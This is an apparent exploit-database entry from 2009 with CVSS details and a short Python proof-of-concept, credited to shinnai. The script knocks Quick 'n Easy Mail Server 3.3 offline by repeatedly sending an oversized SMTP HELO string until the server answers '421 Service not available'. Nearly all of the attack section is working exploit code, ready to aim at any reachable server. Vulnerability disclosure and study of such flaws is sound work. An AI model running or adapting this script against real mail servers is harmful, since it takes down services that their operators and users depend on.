Quick 'n Easy Mail Server 3.3 (Demo) Remote Denial of Service PoC

2009.05.13
Credit: shinnai
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# --------------------------------------------------------------- # Quick 'n Easy Mail Server 3.3 (Demo) Remote Denial of Service # http://www.pablosoftwaresolutions.com/ # author: shinnai # mail: shinnai[at]autistici[dot]org # site: http://www.shinnai.net/ # When you pass a long string to the server, it checks for bof # type attacks and answers with a: # "<SMTP> Buffer overflow: DOS attack?" # after 25 requests (more or less), server is unable to handle # errors. # An attacker can exploit this issue to trigger dos conditions. # In case of succesful exploitation of this vulnerability, # the server will answer to requests as below: # "<SMTP> 421 Service not available" #---------------------------------------------------------------" import socket try: for i in range(1,30): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn = s.connect(("127.0.0.1",25)) s.send('HELO ' + "AAA@AAAAAA.COM" * 4000 + '\r\n') d = s.recv(1024) print d s.close raw_input("Done. If server is still available, try to increase the number of requests.\n\nPress enter to quit...") except: raw_input("Unable to connect!\n\nPress enter to quit...")


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